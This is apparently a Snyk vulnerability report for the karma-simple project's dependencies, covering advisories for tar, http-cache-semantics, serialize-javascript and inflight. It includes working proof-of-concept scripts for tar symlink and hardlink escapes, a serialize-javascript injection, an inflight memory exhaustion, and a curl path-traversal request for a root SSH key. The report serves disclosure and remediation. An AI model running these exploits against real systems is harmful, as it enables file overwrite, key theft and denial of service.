Vulnerabilities |
20 via 36 paths |
|---|---|
Dependencies |
160 |
Source |
GitHub |
Find, fix and prevent vulnerabilities in your code.
high severity
- Vulnerable module: http-cache-semantics
- Introduced through: node-gyp@9.4.1
Detailed paths
-
Introduced through: karma-simple@shikhir-arora/karma-simple › node-gyp@9.4.1 › make-fetch-happen@10.2.1 › http-cache-semantics@4.3.0
Overview
Affected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client max-stale directives. An unauthenticated attacker can request the same URL with a large max-stale value to retrieve cached responses belonging to other users, including Set-Cookie session credentials from shared-cache entries that were deliberately zeroed for security reasons.
Remediation
There is no fixed version for http-cache-semantics.
References
high severity
- Vulnerable module: tar
- Introduced through: node-gyp@9.4.1
Detailed paths
-
Introduced through: karma-simple@shikhir-arora/karma-simple › node-gyp@9.4.1 › tar@6.2.1Remediation: Upgrade to node-gyp@11.0.0.
-
Introduced through: karma-simple@shikhir-arora/karma-simple › node-gyp@9.4.1 › make-fetch-happen@10.2.1 › cacache@16.1.3 › tar@6.2.1Remediation: Upgrade to node-gyp@11.0.0.
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as src/extract.ts. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.
Remediation
Upgrade tar to version 7.5.19 or higher.
References
high severity
- Vulnerable module: tar
- Introduced through: node-gyp@9.4.1
Detailed paths
-
Introduced through: karma-simple@shikhir-arora/karma-simple › node-gyp@9.4.1 › tar@6.2.1Remediation: Upgrade to node-gyp@11.0.0.
-
Introduced through: karma-simple@shikhir-arora/karma-simple › node-gyp@9.4.1 › make-fetch-happen@10.2.1 › cacache@16.1.3 › tar@6.2.1Remediation: Upgrade to node-gyp@11.0.0.
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Infinite loop via the replace method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.
Remediation
Upgrade tar to version 7.5.18 or higher.
References
high severity
- Vulnerable module: tar
- Introduced through: node-gyp@9.4.1
Detailed paths
-
Introduced through: karma-simple@shikhir-arora/karma-simple › node-gyp@9.4.1 › tar@6.2.1Remediation: Upgrade to node-gyp@11.0.0.
-
Introduced through: karma-simple@shikhir-arora/karma-simple › node-gyp@9.4.1 › make-fetch-happen@10.2.1 › cacache@16.1.3 › tar@6.2.1Remediation: Upgrade to node-gyp@11.0.0.
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Directory Traversal via the extract() function. An attacker can read or write files outside the intended extraction directory by causing the application to extract a malicious archive containing a chain of symlinks leading to a hardlink, which bypasses path validation checks.
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade tar to version 7.5.8 or higher.
References
high severity
- Vulnerable module: http-cache-semantics
- Introduced through: node-gyp@9.4.1
Detailed paths
-
Introduced through: karma-simple@shikhir-arora/karma-simple › node-gyp@9.4.1 › make-fetch-happen@10.2.1 › http-cache-semantics@4.3.0
Overview
Affected versions of this package are vulnerable to Origin Validation Error via the _varyMatches() function, which fails to properly handle Vary: * (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The Vary: * directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.
Remediation
There is no fixed version for http-cache-semantics.
References
high severity
- Vulnerable module: serialize-javascript
- Introduced through: enmap@5.9.10
Detailed paths
-
Introduced through: karma-simple@shikhir-arora/karma-simple › enmap@5.9.10 › serialize-javascript@6.0.2Remediation: Upgrade to enmap@6.0.0.
Overview
serialize-javascript is a package to serialize JavaScript to a superset of JSON that includes regular expressions and functions.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the serialize function when handling specially crafted array-like objects with a very large length property. An attacker can cause excessive CPU consumption and make the application unresponsive by submitting such objects for serialization.
Note: While direct exploitation is difficult, it becomes a high-priority threat if the environment is also vulnerable to prototype pollution or insecure YAML deserialization.
Remediation
Upgrade serialize-javascript to version 7.0.5 or higher.
References
high severity
- Vulnerable module: tar
- Introduced through: node-gyp@9.4.1
Detailed paths
-
Introduced through: karma-simple@shikhir-arora/karma-simple › node-gyp@9.4.1 › tar@6.2.1Remediation: Upgrade to node-gyp@11.0.0.
-
Introduced through: karma-simple@shikhir-arora/karma-simple › node-gyp@9.4.1 › make-fetch-happen@10.2.1 › cacache@16.1.3 › tar@6.2.1Remediation: Upgrade to node-gyp@11.0.0.
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Symlink Attack exploitable via stripAbsolutePath(), used by the Unpack class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose linkpath uses a drive-relative path such as C:../target.txt in a malicious tar.
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade tar to version 7.5.10 or higher.
References
high severity
- Vulnerable module: tar
- Introduced through: node-gyp@9.4.1
Detailed paths
-
Introduced through: karma-simple@shikhir-arora/karma-simple › node-gyp@9.4.1 › tar@6.2.1Remediation: Upgrade to node-gyp@11.0.0.
-
Introduced through: karma-simple@shikhir-arora/karma-simple › node-gyp@9.4.1 › make-fetch-happen@10.2.1 › cacache@16.1.3 › tar@6.2.1Remediation: Upgrade to node-gyp@11.0.0.
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Symlink Attack via tar.x() extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like C:../../../target.txt.
PoC
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')
const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')
fs.writeFileSync(target, 'ORIGINAL\n')
const b = Buffer.alloc(1536)
new Header({
path: 'a/b/l',
type: 'SymbolicLink',
linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)
x({ cwd, file: tarFile }).then(() => {
fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
process.stdout.write(fs.readFileSync(target, 'utf8'))
})
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade tar to version 7.5.11 or higher.
References
high severity
- Vulnerable module: serialize-javascript
- Introduced through: enmap@5.9.10
Detailed paths
-
Introduced through: karma-simple@shikhir-arora/karma-simple › enmap@5.9.10 › serialize-javascript@6.0.2Remediation: Upgrade to enmap@6.0.0.
Overview
serialize-javascript is a package to serialize JavaScript to a superset of JSON that includes regular expressions and functions.
Affected versions of this package are vulnerable to Arbitrary Code Injection. An object like {"foo": /1"/, "bar": "a\"@__R-<UID>-0__@"} would be serialized as {"foo": /1"/, "bar": "a\/1"/}, meaning an attacker could escape out of bar if they controlled both foo and bar and were able to guess the value of <UID>. UID is generated once on startup, is chosen using Math.random() and has a keyspace of roughly 4 billion, so within the realm of an online attack.
PoC
eval('('+ serialize({"foo": /1" + console.log(1)/i, "bar": '"@__R-<UID>-0__@'}) + ')');
Remediation
Upgrade serialize-javascript to version 7.0.3 or higher.
References
medium severity
- Vulnerable module: tar
- Introduced through: node-gyp@9.4.1
Detailed paths
-
Introduced through: karma-simple@shikhir-arora/karma-simple › node-gyp@9.4.1 › tar@6.2.1Remediation: Upgrade to node-gyp@11.0.0.
-
Introduced through: karma-simple@shikhir-arora/karma-simple › node-gyp@9.4.1 › make-fetch-happen@10.2.1 › cacache@16.1.3 › tar@6.2.1Remediation: Upgrade to node-gyp@11.0.0.
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Incorrect Type Conversion or Cast via the src/pax.ts file. An attacker can cause a process crash by providing all-digit PAX path or linkpath values that are coerced to JavaScript numbers, leading to a TypeError during downstream path handling.
Remediation
Upgrade tar to version 7.5.18 or higher.
References
medium severity
- Vulnerable module: tar
- Introduced through: node-gyp@9.4.1
Detailed paths
-
Introduced through: karma-simple@shikhir-arora/karma-simple › node-gyp@9.4.1 › tar@6.2.1Remediation: Upgrade to node-gyp@11.0.0.
-
Introduced through: karma-simple@shikhir-arora/karma-simple › node-gyp@9.4.1 › make-fetch-happen@10.2.1 › cacache@16.1.3 › tar@6.2.1Remediation: Upgrade to node-gyp@11.0.0.
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Interpretation Conflict due to improper handling of PAX extended header size overrides in intermediary metadata headers. An attacker can cause inconsistent archive parsing results between different tar implementations by crafting a malicious tar archive that desynchronizes the parser's interpretation, potentially hiding files from scanners or extractors that rely on different tools.
Remediation
Upgrade tar to version 7.5.16 or higher.
References
medium severity
- Vulnerable module: tar
- Introduced through: node-gyp@9.4.1
Detailed paths
-
Introduced through: karma-simple@shikhir-arora/karma-simple › node-gyp@9.4.1 › tar@6.2.1Remediation: Upgrade to node-gyp@11.0.0.
-
Introduced through: karma-simple@shikhir-arora/karma-simple › node-gyp@9.4.1 › make-fetch-happen@10.2.1 › cacache@16.1.3 › tar@6.2.1Remediation: Upgrade to node-gyp@11.0.0.
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Uncaught Exception through improper handling of NUL bytes in the src/pax.ts file. An attacker can cause the application to terminate unexpectedly by providing a crafted archive containing NUL bytes in PAX path or linkpath records, which leads to an uncaught exception when these values are passed to filesystem operations.
Remediation
Upgrade tar to version 7.5.17 or higher.
References
medium severity
- Vulnerable module: tar
- Introduced through: node-gyp@9.4.1
Detailed paths
-
Introduced through: karma-simple@shikhir-arora/karma-simple › node-gyp@9.4.1 › tar@6.2.1Remediation: Upgrade to node-gyp@11.0.0.
-
Introduced through: karma-simple@shikhir-arora/karma-simple › node-gyp@9.4.1 › make-fetch-happen@10.2.1 › cacache@16.1.3 › tar@6.2.1Remediation: Upgrade to node-gyp@11.0.0.
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Uncontrolled Recursion in the mapHas helper and filesFilter function in src/list.ts, which walk an entry path upward with one path.dirname() call per recursion and no segment cap. An attacker can terminate the Node process with an uncatchable stack-overflow RangeError by supplying a tar archive whose GNU L or PAX x long-path header carries tens of thousands of /-separated segments, when that archive is listed or extracted with a member-selection filter. Exploitation requires the application to call tar.t() or tar.x() with a non-empty member-selection list on an untrusted archive, and on async or streaming consumers the error is uncatchable while synchronous APIs can catch it.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade tar to version 7.5.21 or higher.
References
medium severity
- Vulnerable module: tar
- Introduced through: node-gyp@9.4.1
Detailed paths
-
Introduced through: karma-simple@shikhir-arora/karma-simple › node-gyp@9.4.1 › tar@6.2.1Remediation: Upgrade to node-gyp@11.0.0.
-
Introduced through: karma-simple@shikhir-arora/karma-simple › node-gyp@9.4.1 › make-fetch-happen@10.2.1 › cacache@16.1.3 › tar@6.2.1Remediation: Upgrade to node-gyp@11.0.0.
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Improper Handling of Unicode Encoding in Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS. An attacker can overwrite arbitrary files by exploiting Unicode normalization collisions in filenames within a malicious tar archive on case-insensitive or normalization-insensitive filesystems.
Note:
This is only exploitable if the system is running on a filesystem such as macOS APFS or HFS+ that ignores Unicode normalization.
Workaround
This vulnerability can be mitigated by filtering out all SymbolicLink entries when extracting tarball data.
PoC
const tar = require('tar');
const fs = require('fs');
const path = require('path');
const { PassThrough } = require('stream');
const exploitDir = path.resolve('race_exploit_dir');
if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });
fs.mkdirSync(exploitDir);
console.log('[*] Testing...');
console.log(`[*] Extraction target: ${exploitDir}`);
// Construct stream
const stream = new PassThrough();
const contentA = 'A'.repeat(1000);
const contentB = 'B'.repeat(1000);
// Key 1: "f_ss"
const header1 = new tar.Header({
path: 'collision_ss',
mode: 0o644,
size: contentA.length,
});
header1.encode();
// Key 2: "f_ß"
const header2 = new tar.Header({
path: 'collision_ß',
mode: 0o644,
size: contentB.length,
});
header2.encode();
// Write to stream
stream.write(header1.block);
stream.write(contentA);
stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding
stream.write(header2.block);
stream.write(contentB);
stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding
// End
stream.write(Buffer.alloc(1024));
stream.end();
// Extract
const extract = new tar.Unpack({
cwd: exploitDir,
// Ensure jobs is high enough to allow parallel processing if locks fail
jobs: 8
});
stream.pipe(extract);
extract.on('end', () => {
console.log('[*] Extraction complete');
// Check what exists
const files = fs.readdirSync(exploitDir);
console.log('[*] Files in exploit dir:', files);
files.forEach(f => {
const p = path.join(exploitDir, f);
const stat = fs.statSync(p);
const content = fs.readFileSync(p, 'utf8');
console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);
});
if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {
console.log('\[*] GOOD');
} else {
console.log('[-] No collision');
}
});
Remediation
Upgrade tar to version 7.5.4 or higher.
References
medium severity
- Vulnerable module: inflight
- Introduced through: node-gyp@9.4.1
Detailed paths
-
Introduced through: karma-simple@shikhir-arora/karma-simple › node-gyp@9.4.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: karma-simple@shikhir-arora/karma-simple › node-gyp@9.4.1 › rimraf@3.0.2 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: karma-simple@shikhir-arora/karma-simple › node-gyp@9.4.1 › make-fetch-happen@10.2.1 › cacache@16.1.3 › glob@8.1.0 › inflight@1.0.6
-
Introduced through: karma-simple@shikhir-arora/karma-simple › node-gyp@9.4.1 › make-fetch-happen@10.2.1 › cacache@16.1.3 › rimraf@3.0.2 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: karma-simple@shikhir-arora/karma-simple › node-gyp@9.4.1 › make-fetch-happen@10.2.1 › cacache@16.1.3 › @npmcli/move-file@2.0.1 › rimraf@3.0.2 › glob@7.2.3 › inflight@1.0.6
Overview
Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the makeres function due to improperly deleting keys from the reqs object after execution of callbacks. This behavior causes the keys to remain in the reqs object, which leads to resource exhaustion.
Exploiting this vulnerability results in crashing the node process or in the application crash.
Note: This library is not maintained, and currently, there is no fix for this issue. To overcome this vulnerability, several dependent packages have eliminated the use of this library.
To trigger the memory leak, an attacker would need to have the ability to execute or influence the asynchronous operations that use the inflight module within the application. This typically requires access to the internal workings of the server or application, which is not commonly exposed to remote users. Therefore, “Attack vector” is marked as “Local”.
PoC
const inflight = require('inflight');
function testInflight() {
let i = 0;
function scheduleNext() {
let key = `key-${i++}`;
const callback = () => {
};
for (let j = 0; j < 1000000; j++) {
inflight(key, callback);
}
setImmediate(scheduleNext);
}
if (i % 100 === 0) {
console.log(process.memoryUsage());
}
scheduleNext();
}
testInflight();
Remediation
There is no fixed version for inflight.
References
medium severity
- Vulnerable module: tar
- Introduced through: node-gyp@9.4.1
Detailed paths
-
Introduced through: karma-simple@shikhir-arora/karma-simple › node-gyp@9.4.1 › tar@6.2.1Remediation: Upgrade to node-gyp@11.0.0.
-
Introduced through: karma-simple@shikhir-arora/karma-simple › node-gyp@9.4.1 › make-fetch-happen@10.2.1 › cacache@16.1.3 › tar@6.2.1Remediation: Upgrade to node-gyp@11.0.0.
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Directory Traversal via processing of hardlinks. An attacker can read or overwrite arbitrary files on the file system by crafting a malicious TAR archive that bypasses path traversal protections during extraction.
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade tar to version 7.5.7 or higher.
References
medium severity
- Vulnerable module: tar
- Introduced through: node-gyp@9.4.1
Detailed paths
-
Introduced through: karma-simple@shikhir-arora/karma-simple › node-gyp@9.4.1 › tar@6.2.1Remediation: Upgrade to node-gyp@11.0.0.
-
Introduced through: karma-simple@shikhir-arora/karma-simple › node-gyp@9.4.1 › make-fetch-happen@10.2.1 › cacache@16.1.3 › tar@6.2.1Remediation: Upgrade to node-gyp@11.0.0.
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Directory Traversal via insufficient sanitization of the linkpath parameter during archive extraction. An attacker can overwrite arbitrary files or create malicious symbolic links by crafting a tar archive with hardlink or symlink entries that resolve outside the intended extraction directory.
PoC
const fs = require('fs')
const path = require('path')
const tar = require('tar')
const out = path.resolve('out_repro')
const secret = path.resolve('secret.txt')
const tarFile = path.resolve('exploit.tar')
const targetSym = '/etc/passwd'
// Cleanup & Setup
try { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {}
fs.mkdirSync(out)
fs.writeFileSync(secret, 'ORIGINAL_DATA')
// 1. Craft malicious Link header (Hardlink to absolute local file)
const h1 = new tar.Header({
path: 'exploit_hard',
type: 'Link',
size: 0,
linkpath: secret
})
h1.encode()
// 2. Craft malicious Symlink header (Symlink to /etc/passwd)
const h2 = new tar.Header({
path: 'exploit_sym',
type: 'SymbolicLink',
size: 0,
linkpath: targetSym
})
h2.encode()
// Write binary tar
fs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))
console.log('[*] Extracting malicious tarball...')
// 3. Extract with default secure settings
tar.x({
cwd: out,
file: tarFile,
preservePaths: false
}).then(() => {
console.log('[*] Verifying payload...')
// Test Hardlink Overwrite
try {
fs.writeFileSync(path.join(out, 'exploit_hard'), 'OVERWRITTEN')
if (fs.readFileSync(secret, 'utf8') === 'OVERWRITTEN') {
console.log('[+] VULN CONFIRMED: Hardlink overwrite successful')
} else {
console.log('[-] Hardlink failed')
}
} catch (e) {}
// Test Symlink Poisoning
try {
if (fs.readlinkSync(path.join(out, 'exploit_sym')) === targetSym) {
console.log('[+] VULN CONFIRMED: Symlink points to absolute path')
} else {
console.log('[-] Symlink failed')
}
} catch (e) {}
})
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade tar to version 7.5.3 or higher.
References
low severity
- Vulnerable module: serialize-javascript
- Introduced through: enmap@5.9.10
Detailed paths
-
Introduced through: karma-simple@shikhir-arora/karma-simple › enmap@5.9.10 › serialize-javascript@6.0.2Remediation: Upgrade to enmap@6.0.0.
Overview
serialize-javascript is a package to serialize JavaScript to a superset of JSON that includes regular expressions and functions.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via a regex flaw in SCRIPT_CLOSE_REGEXP that allows a live </script> tag to survive serialization. The previous pattern [^>]* permitted a single match to span from one </script to the next > anywhere in the function source, swallowing a complete </script> in between. Because only one replacement is emitted per match, the swallowed tag is re-emitted verbatim in the output. When the serialized value is embedded in an HTML page as the README documents, the injected tag terminates the script element and the remainder of the payload is parsed as HTML, enabling script injection. A function body reaches the vulnerable shape when </script appears in code position (e.g., as part of a comparison against a regex literal) followed by a </script> inside a later string literal.
Note: This is only exploitable when the serialized output is embedded directly in an HTML page inside a <script> element, as described in the package README.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade serialize-javascript to version 7.1.2 or higher.
References
low severity
new
- Vulnerable module: serialize-javascript
- Introduced through: enmap@5.9.10
Detailed paths
-
Introduced through: karma-simple@shikhir-arora/karma-simple › enmap@5.9.10 › serialize-javascript@6.0.2Remediation: Upgrade to enmap@6.0.0.
Overview
serialize-javascript is a package to serialize JavaScript to a superset of JSON that includes regular expressions and functions.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via escapeFunctionBody(), which escapes each function body in isolation. When a serialized function body ends with the bare token </script, the function does not see the delimiter that the surrounding output supplies next (such as the newline added by the space option), so the sequence is emitted unescaped. An attacker who can influence a serialized function body can close the enclosing <script> tag and inject arbitrary markup into the page, leading to cross-site scripting.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
